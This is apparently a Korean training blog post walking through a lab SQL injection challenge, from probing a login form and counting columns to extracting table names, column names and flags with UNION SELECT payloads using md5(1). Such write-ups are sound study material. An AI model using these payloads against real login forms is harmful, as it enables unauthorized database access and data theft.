1. 7 주차 SQL injection 데이터 추출 문제 풀이(5)


※ 주의 사항 :

1. 교육 목적으로만 이용 해주세요.
2. 무단 침입, 데이터 유출, 개인 정보 침해 등 불법적인 활동은 심각한 법적 결과를 초래할 수 있습니다.
3. 개인적인 테스트 환경을 구축해서 실습하시길 바랍니다.

1.1   SQL injection


3번 풀이와 같다

image-20240605064924315

image-20240605052309872

normatitc 아이디로 로그인이 되는 지 확인하였다.
그리고 user name 에 대한 정보가 추출된다.(DB정보)


1.1.1 sql injection 포인트 찾기



image-20240605052418035

▶ 해당 로그인 폼에 sql 구문이 적용되는 지 확인하였다.

image-20240605052546843

▶ 식별 /인증 이 동시인가, 분리인가 확인하기 위해 작성했다.
or 이 로그인이 안되는 것으로 보아 분리일 확률이 높다.

image-20240605052653941

▶ 확실히 하기 위해 비밀 번호가 sql 구문이 적용되는 지 살펴보았다. 로그인이 되지 않으므로
분리가 확실해 졌다. 왜냐하면 동시라면 둘 다 sql 구문이 적용되어야 하기 때문이다.


1.1.2 column 개수 찾기



image-20240605052732705

order by 1부터 순차적으로 작성해 본 결과, order by 3 이후로는 로그인이 되지 않는다.
따라서 칼럼 개수는 2 개라는 사실을 알 수 있다.


1.1.3 출력되는 column 위치 찾기



image-20240605052926457

image-20240605052944301

로그인을 시도 해본 결과, 로그인이 되지 않는다.

image-20240605053007133

그렇다는 것은 비밀 번호 값이 다른 것으로 저장 되어 있어서 일치하지 않는다는 사실을 알 수 있다.
따라서 비밀 번호는 해쉬 처리 해야 한다. 둘 중 어떤 것이 비밀 번호 칼럼 인지 아직 모르므로, 하나 씩 적용해 본다.
위의 이미지처럼 앞의 칼럼이 비밀 번호이고, 뒤의 칼럼이 아이디 칼럼이다.

그러므로 데이터를 추출 하기 위해서는 아이디 칼럼에 데이터를 추출해야 로그인해서 데이터를 확인할 수 있다.


1.1.4 DB이름 확인하기


image-20240605053152557

image-20240605065150912


1.1.5 table이름 확인하기



image-20240605065228039

’ union select md5(1),(select table_name from information_schema.tables where table_schema = ‘sqli_2_2’ limit 0,1) #


1.1.6 column 이름 확인하기



image-20240605065331815

’ union select md5(1),(select column_name from information_schema.columns where table_name = ‘flagTable_this’ limit 0,1) #

image-20240605065410902

’ union select md5(1),(select column_name from information_schema.columns where table_name = ‘flagTable_this’ limit 1,1) #


1.1.7 data 추출하기


image-20240605065538549

’ union select md5(1),(select flag from flagTable_this limit 0,1) #

image-20240605065625582

’ union select md5(1),(select flag from flagTable_this limit 1,1) #

image-20240605065649664

’ union select md5(1),(select flag from flagTable_this limit 2,1) #

image-20240605065705009

’ union select md5(1),(select flag from flagTable_this limit 3,1) #

image-20240605065725938

’ union select md5(1),(select flag from flagTable_this limit 4,1) #

image-20240605065742611

’ union select md5(1),(select flag from flagTable_this limit 5,1) #

image-20240605065758044

’ union select md5(1),(select flag from flagTable_this limit 6,1) #

image-20240605065831839

’ union select md5(1),(select flag from flagTable_this limit 7,1) #

image-20240605065853162

’ union select md5(1),(select flag from flagTable_this limit 8,1) #

image-20240605065914620

’ union select md5(1),(select flag from flagTable_this limit 9,1) #

image-20240605065933454

’ union select md5(1),(select flag from flagTable_this limit 10,1) #

image-20240605070004499

’ union select md5(1),(select flag from flagTable_this limit 11,1) #

image-20240605070035995

’ union select md5(1),(select flag from flagTable_this limit 12,1) #

image-20240605070051921

’ union select md5(1),(select flag from flagTable_this limit 13,1) #

댓글남기기